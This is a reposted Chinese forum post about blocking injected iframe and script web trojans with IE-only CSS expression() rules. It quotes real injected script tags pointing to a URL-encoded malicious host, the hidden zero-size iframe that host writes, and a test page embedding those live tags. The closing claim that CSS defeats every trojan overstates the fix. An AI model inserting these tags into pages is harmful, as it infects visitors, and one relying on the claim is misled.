`
dhj
  • 浏览: 111263 次
  • 性别: Icon_minigender_1
  • 来自: 北京
社区版块
存档分类
最新评论

二行代码解决全部网页木马(含iframe/script木马)

    博客分类:
  • CSS
阅读更多

http://bbs.blueidea.com/thread-2841460-1-1.html

还是挂马问题,这段时间,我渐渐感到压力,头大,通过QQ或MSN加我的人越来越多,我最近自己的工作本来就忙得不亦乐乎。哎,想想,还是要抽空来来帮帮大家。

  前不久《http://bbs.blueidea.com/thread-2818052-1-1.html 一 行代码解决iframe挂马(包含服务器端注入、客户端ARP注入等)》得到了很多朋友的认可,这确实是个避避风雨的好办法。可现在挂网马的方式真如我所 料地改变了,现在流行挂<script>木马,汗了,看了几个网友的网站都被这样了——页面的顶部或底部加上了:

注意,以下地址含有木马,请不要轻易访问:

复制内容到剪贴板
代码:
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>

汗死,一连插入了N个一样的<script>标记。偶的电脑什么补丁都打了 ,直接访问这个http://%76%63%63%64%2E%63%6E(或直接使用迅雷下载),额~ 现形了:

复制内容到剪贴板
代码:
document.write("<div style='display:none'>")
document.write("<iframe src=http://a.158dm.com/b1.htm?id=017 width=0 height=0></iframe>")
document.write("</div>")

又用迅雷下载http://a.158dm.com/b1.htm这个文件,一看,乱七八糟的JS编码,汗,不过找到了一个类似QQ号的数字,直接加加看,汗,然后是专业提供网马的组织,哎,什么世道。还收费蛮高滴呢!

复制内容到剪贴板
代码:
...
var Kfqq, Qqs="[color=Magenta]784378237[/color]"; qwfgsg="LLLL\\XXXXXLD"; Kfqq = Qqs;
(...略)(下面还有N个统计的JS代码)。

针对上面的情况,我也不能白白瞧着不管,想想办法吧,兄弟。喝了碗绿豆粥,糖放得蛮多的,好喝。办法想到了。稍微分析就得出了答案。大家来看看,<script>木马的特点是什么:

<script src=http ://%76%63%63%64%2E%63%6E></script>

对了,script木马的src一般都是外域的,也就是src是以http打头的,如果是自己网站的script一般都不用加上http;再看看木马的原形,里面还是输出的iframe、JS代码或是其他<object>代码,不管这么多,来多少杀多少。

来跟我写CSS,一一搞定它们,我写了5种不同的方案,大家来测试一下哈:

解决方案1:

复制内容到剪贴板
代码:
iframe{n1ifm:expression(this.src='about:blank',this.outerHTML='');}/*这行代码是解决挂IFRAME木马的哦*/
script{nojs1:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}

原理:将<script>标记的src拿出来转为小写,再看是不是以“http”开头的外域JS脚本文件,如果是,则页面内容清空并写出“木马被成功隔离!”。反之正常显示。
    缺点:访客无法看到被感染了<script>木马的页面。
     

解决方案2:

复制内容到剪贴板
代码:
iframe{nifm2:expression(this.src='about:blank',this.outerHTML='');}
script{no2js:expression((this.src.toLowerCase().indexOf('http')==0)?document.close():'');}

原理:将外域的JS文件的document.write()使用document.close()强制关闭。木马内容还没有来得及写完,只有部分被强制缓存输出了,剩下的不会再写了。


解决方案3:

复制内容到剪贴板
代码:
iframe{ni3fm:expression(this.src='about:blank',this.outerHTML='');}
script{n3ojs:expression((this.src.toLowerCase().indexOf('http')==0)?document.execCommand('stop'):'');}

 原理:同到外域的JS文件,立即调用IE私有的execCommand方法来停止页面所有请求,所以接下来的外域JS文件也被强制停止下载了。就像我们点了浏览器的“停止”按钮一样。看来这是JS模拟IE停止按钮的一种方法。

解决方案4:

复制内容到剪贴板
代码:
iframe{nif4m:expression(this.src='about:blank',this.outerHTML='');}
script{noj4s:expression(if(this.src.indexOf('http')==0)this.src='res://ieframe.dll/dnserror.htm');}

   原理:将外域的JS文件的src重写成本地IE404错误页面的地址,这样,外域的JS代码不会下载。

解决方案5:

复制内容到剪贴板
代码:
iframe{nifm5:expression(this.src='about:blank',this.outerHTML='');}
script{noj5s:expression((this.id.toLowerCase().indexOf('lh')==0)?document.write('木马被成功隔离!'):''));}

    第五种方案的页面HTML源代码<script>中要加入以"lh"为前缀的id,如 lhWeatherJSapi,<script src="***/**.js" id="lhSearchJSapi"></script> 

以下页面代码里含有一个木马地址,而且木马在页面里重复了6次,大家分别用我上面的不同方案测试一下,看看我的研究如何!(此测试有一定的危险性,请务必打好所有补丁再测试)

复制内容到剪贴板
代码:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>让JS木马的进程迅速中止的CSS代码</title>
<style type="text/css" id="LinrStudio">
/*<![CDATA[*/
iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}
script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
/* 以后请在此关注最新木马处理方法:http://www.nihaoku.cn/ff/api.htm */
/*]]>*/
</style>
</head>
<body>
<script type="text/javascript" src="1.js"></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src="http://%76%63%63%64%2E%63%6E" type="text/javascript"></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
我是页面本身的1
<script src=http://%76%63%63%64%2E%63%6E></script>
我是页面本身的2
<script src=http://%76%63%63%64%2E%63%6E></script>
我是页面本身的3
<script src=http://%76%63%63%64%2E%63%6E></script>
</body>
</html>

其中1.js是自己本站的:

复制内容到剪贴板
代码:
document.write("我是本站的JS文件");
document.write("<img src='http://www.baidu.com/images/logo.gif' />");

我的测试环境是:
  Windows XP SP2 和windows Vista SP1
      IE6/IE7/IE8
      已全部打好补丁。
综上所述,所有目前的挂马方式全都破解了,用CSS就可以解决所有木马问题,访客不会再轻易地中毒了。

    大家也要仔细研究一下,看看我的代码有什么BUG,有的话一定要拿出来讨论,好解决问题!或是各位有其他更好的办法可以拿出来讨论一下。

    很晚了,我要睡觉了。有空再研究。

分享到:
评论

相关推荐

    二行代码解决全部网页木马

    前不久一行代码解决iframe挂马(包含服务器端注入、客户端ARP注入等)》得到了很多朋友的认可,这确实是个避避风雨的好办法。可现在挂网马的方式真如我所料地改变了,现在流行挂[removed]木马,汗了,看了几个网友的...

    网上收集asp 网页木马解决方案

    一些关于iframe ,script木马的解决方案

    网页木马代码清除工具

    2 指定匹配正则表达式,你可以直接复制木马代码,如“&lt;iframe src=http://xxx.mmma.biz/ps.htm width=0 height=0&gt;&lt;/iframe&gt;”。或使用正则来匹配各种样本。 3 替换表达式一般为空,也可以填写你想要替换的...

    网页木马客星 V1.0 拦截各种网页木马.rar

    网页木马客星 V1.0 拦截各种网页木马.rar网页木马客星 V1.0 拦截各种网页木马.rar网页木马客星 V1.0 拦截各种网页木马.rar网页木马客星 V1.0 拦截各种网页木马.rar网页木马客星 V1.0 拦截各种网页木马.rar网页木马...

    javascript木马,iframe木马清理工具

    服务器上javascript木马,iframe木马清理工具,用后删除

    清楚网页木马---网页木马相关技术总结

    清楚网页木马---网页木马相关技术总结 清楚网页木马---网页木马相关技术总结

    网页木马超级清理工具

    网页木马超级清理工具 超级好用!网页木马超级清理工具 超级好用!网页木马超级清理工具 超级好用!网页木马超级清理工具 超级好用!

    网页木马清除工具企业版

    2. 您可能会发现:每个网页的开始或结尾都被加入了一段恶意代码,形如: &lt;iframe src=http://aaa.77xxmm.cn/new858.htm?075 width=0 name='2429' height=0&gt;&lt;iframe&gt; 如果您的网页数量宠大,清理需要耗费大量时间,...

    网页木马查找清除代码

    javascript木马,iframe木马 都可以清除,用完删除

    VB实现网页木马

    1.剖析网页木马的工作原理 2.理解木马的植入过程 3.学会编写简单的网页木马脚本 4.通过分析监控信息实现手动删除木马

    网页木马完全免疫

    网页木马完全免疫

    vb杀木马软件源代码

    vb杀木马软件源代码vb杀木马软件源代码vb杀木马软件源代码vb杀木马软件源代码vb杀木马软件源代码vb杀木马软件源代码vb杀木马软件源代码vb杀木马软件源代码vb杀木马软件源代码vb杀木马软件源代码vb杀木马软件源代码vb...

    网页木马删除软件-ClsMuMa

    网页木马删除软件-ClsMuMa快速清除网页木马

    网页木马加密工具

    网页木马加密工具网页木马加密网页木马加密工具工具

    IE禁止网页木马下载

    IE禁止网页木马下载

    网页木马拦截精灵V1.9.5

    网页木马拦截精灵,是为了解决网页木马问题而研发出来的专业软件。它可以在网页木马试图从网页中潜入用户系统时进行 自动拦截、阻止,中止木马病毒的潜入活动,从而达到防治的效果。经实践使用证明,网页木马拦截...

    ASP木马扫描器 v2010 清除iframe script挂马.rar

    1.清除IFrame Script 一句话木马  2.扫描网站内存在的后门(如WEBshell)  3.可以在线升级 获得最新病毒库  提示:首次使用请修改密码,这2个文件缺一不可

    网页木马克星 V1.0 拦截各种网页木马

    由于目前被挂马的网站太多,而我们系统有时候可能没打补丁或者重新安装时候补丁还没有来得及打,所以经常中网页木马。而且现在非常的严重,浏览器的漏洞出而又出,本软件可以拦截各种网页木马,在木马运行前拦截提示...

    【JavaScript源代码】vue实现旋转木马动画.docx

     本文实例为大家分享了vue实现旋转木马动画的具体代码,供大家参考,具体内容如下 图片数量可为任意值都能正常处理 [1-无限个]: &lt;!DOCTYPE html&gt;  &lt;html&gt;  &lt;head&gt;   &lt;title&gt;&lt;/title&gt; ...

Global site tag (gtag.js) - Google Analytics